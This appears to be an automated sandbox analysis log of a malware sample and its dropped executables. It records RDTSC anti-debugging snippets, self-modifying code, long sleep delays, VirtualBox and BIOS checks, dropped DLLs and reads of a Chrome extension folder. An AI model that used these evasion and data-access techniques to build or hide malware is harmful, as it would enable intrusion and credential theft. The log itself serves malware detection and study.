Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C1005D second address: 4C100A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 jmp 00007F2C247D9BF6h 0x0000000d mov ebp, esp 0x0000000f pushad 0x00000010 mov ax, 2DEDh 0x00000014 jmp 00007F2C247D9BEAh 0x00000019 popad 0x0000001a pop ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F2C247D9BF7h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70C65 second address: 4C70CB5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C24E651A0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F2C24E651A0h 0x0000000f push eax 0x00000010 jmp 00007F2C24E6519Bh 0x00000015 xchg eax, ebp 0x00000016 jmp 00007F2C24E651A6h 0x0000001b mov ebp, esp 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70CB5 second address: 4C70CB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70CB9 second address: 4C70CBF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C20368 second address: 4C20390 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C247D9BF5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F2C247D9BECh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C20390 second address: 4C203F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, ebx 0x00000005 jmp 00007F2C24E6519Dh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e pushad 0x0000000f call 00007F2C24E6519Ch 0x00000014 push ecx 0x00000015 pop edx 0x00000016 pop ecx 0x00000017 pushad 0x00000018 movsx edi, cx 0x0000001b pushfd 0x0000001c jmp 00007F2C24E651A6h 0x00000021 sbb si, 2008h 0x00000026 jmp 00007F2C24E6519Bh 0x0000002b popfd 0x0000002c popad 0x0000002d popad 0x0000002e mov ebp, esp 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 jmp 00007F2C24E6519Bh 0x00000038 push eax 0x00000039 pop edi 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C203F7 second address: 4C20446 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F2C247D9BEBh 0x00000009 sub cx, 30FEh 0x0000000e jmp 00007F2C247D9BF9h 0x00000013 popfd 0x00000014 mov ax, B947h 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push FFFFFFFEh 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F2C247D9BF4h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C20446 second address: 4C2044C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C2044C second address: 4C2045D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2C247D9BEDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C20609 second address: 4C20618 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C24E6519Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C20618 second address: 4C20652 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C247D9BF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F2C247D9BF8h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C20652 second address: 4C20661 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C24E6519Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C20661 second address: 4C206CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, bx 0x00000006 pushfd 0x00000007 jmp 00007F2C247D9BEBh 0x0000000c adc cx, DC5Eh 0x00000011 jmp 00007F2C247D9BF9h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e mov cx, 2079h 0x00000022 pushfd 0x00000023 jmp 00007F2C247D9BF6h 0x00000028 jmp 00007F2C247D9BF5h 0x0000002d popfd 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C206CB second address: 4C206D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, si 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C206D3 second address: 4C206E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, edi 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F2C247D9BEBh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C206E8 second address: 4C20764 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edx 0x00000005 mov dx, 9D56h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [76FBB370h] 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F2C24E651A3h 0x00000018 adc cx, 11DEh 0x0000001d jmp 00007F2C24E651A9h 0x00000022 popfd 0x00000023 call 00007F2C24E651A0h 0x00000028 call 00007F2C24E651A2h 0x0000002d pop eax 0x0000002e pop edx 0x0000002f popad 0x00000030 xor dword ptr [ebp-08h], eax 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007F2C24E6519Dh 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C20764 second address: 4C207D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C247D9BF1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor eax, ebp 0x0000000b pushad 0x0000000c pushad 0x0000000d mov bh, F1h 0x0000000f pushfd 0x00000010 jmp 00007F2C247D9BF4h 0x00000015 sbb si, 0DC8h 0x0000001a jmp 00007F2C247D9BEBh 0x0000001f popfd 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 pushfd 0x00000024 jmp 00007F2C247D9BF6h 0x00000029 sub ecx, 03931028h 0x0000002f jmp 00007F2C247D9BEBh 0x00000034 popfd 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C207D1 second address: 4C207E1 instructions: 0x00000000 rdtsc 0x00000002 mov si, 411Fh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C207E1 second address: 4C207E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C207E5 second address: 4C207E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C207E9 second address: 4C207EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C207EF second address: 4C207F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C207F5 second address: 4C2081C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C247D9BF0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F2C247D9BEEh 0x00000013 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 53E9B8 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 53E8CD instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 772E8C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 69E9B8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 69E8CD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 8D2E8C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Special instruction interceptor: First address: B0BE79 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Special instruction interceptor: First address: CB264C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Special instruction interceptor: First address: CDAFEB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Special instruction interceptor: First address: D40B17 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Special instruction interceptor: First address: 6DF9D9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Special instruction interceptor: First address: 88AD77 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Special instruction interceptor: First address: 6DD1B2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Special instruction interceptor: First address: 8B1DEB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Special instruction interceptor: First address: 916A05 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Special instruction interceptor: First address: 33DCA1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Special instruction interceptor: First address: 33DDBB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Special instruction interceptor: First address: 575C15 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe	Special instruction interceptor: First address: 161BA6F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe	Special instruction interceptor: First address: 161BB4D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe	Special instruction interceptor: First address: 17B5663 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe	Special instruction interceptor: First address: 1619086 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe	Special instruction interceptor: First address: 161BAC7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe	Special instruction interceptor: First address: 184542B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Special instruction interceptor: First address: 341B26 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Special instruction interceptor: First address: 698F9D9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Special instruction interceptor: First address: 6B3AD77 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Special instruction interceptor: First address: 698D1B2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	Special instruction interceptor: First address: 6B61DEB instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Memory allocated: 4AF0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Memory allocated: 4C70000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Memory allocated: 6C70000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Memory allocated: 49E0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Memory allocated: 4D60000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Memory allocated: 6D60000 memory reserve \| memory write watch

Source: C:\Users\user\DocumentsEBGCBAFCGD.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\DocumentsEBGCBAFCGD.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\DocumentsEBGCBAFCGD.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04C70C02 rdtsc

0_2_04C70C02

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 887	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 973	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1549	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1799	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1003	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5747
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1184
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4296
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1746
Source: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe	Window / User API: threadDelayed 1204
Source: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe	Window / User API: threadDelayed 831
Source: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe	Window / User API: threadDelayed 1197
Source: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe	Window / User API: threadDelayed 1130
Source: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe	Window / User API: threadDelayed 1222
Source: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe	Window / User API: threadDelayed 1230
Source: C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe	Window / User API: threadDelayed 555

Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe

API coverage: 1.1 %

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5800	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5800	Thread sleep time: -62031s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2504	Thread sleep count: 887 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2504	Thread sleep time: -1774887s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4564	Thread sleep count: 973 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4564	Thread sleep time: -1946973s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4144	Thread sleep count: 312 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4144	Thread sleep time: -9360000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1216	Thread sleep count: 1549 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1216	Thread sleep time: -3099549s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 796	Thread sleep count: 1799 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 796	Thread sleep time: -3599799s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5808	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 280	Thread sleep count: 1003 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 280	Thread sleep time: -2007003s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe TID: 7720	Thread sleep time: -40020s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe TID: 7724	Thread sleep time: -50025s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe TID: 7716	Thread sleep time: -36018s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe TID: 4544	Thread sleep time: -300000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe TID: 7708	Thread sleep time: -36018s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe TID: 7736	Thread sleep time: -44022s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe TID: 1744	Thread sleep count: 46 > 30
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe TID: 1744	Thread sleep time: -276000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe TID: 7732	Thread sleep time: -44022s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe TID: 8024	Thread sleep time: -34017s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe TID: 7980	Thread sleep time: -38019s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe TID: 6712	Thread sleep time: -32000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe TID: 8008	Thread sleep time: -36018s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe TID: 8016	Thread sleep time: -32016s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe TID: 8000	Thread sleep time: -32016s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7908	Thread sleep count: 5747 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3720	Thread sleep count: 1184 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4228	Thread sleep time: -6456360425798339s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2792	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8064	Thread sleep count: 4296 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8072	Thread sleep count: 1746 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3512	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5740	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe TID: 1640	Thread sleep time: -180000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 6264	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 504	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe TID: 3960	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe TID: 2116	Thread sleep count: 1204 > 30
Source: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe TID: 2116	Thread sleep time: -2409204s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe TID: 980	Thread sleep count: 831 > 30
Source: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe TID: 980	Thread sleep time: -1662831s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe TID: 6348	Thread sleep count: 1197 > 30
Source: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe TID: 6348	Thread sleep time: -2395197s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe TID: 2188	Thread sleep count: 1130 > 30
Source: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe TID: 2188	Thread sleep time: -2261130s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe TID: 4268	Thread sleep count: 1222 > 30
Source: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe TID: 4268	Thread sleep time: -2445222s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe TID: 3152	Thread sleep count: 1230 > 30
Source: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe TID: 3152	Thread sleep time: -2461230s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe TID: 5012	Thread sleep count: 154 > 30
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe TID: 5012	Thread sleep time: -924000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe TID: 7564	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe

10_2_0BCBF250

Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe

Code function: 10_2_0BC0AEF0 GetSystemInfo,VirtualQuery,GetCurrentProcess,FlushInstructionCache,

10_2_0BC0AEF0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\

Source: skotes.exe, skotes.exe, 00000002.00000002.1769413447.000000000082E000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
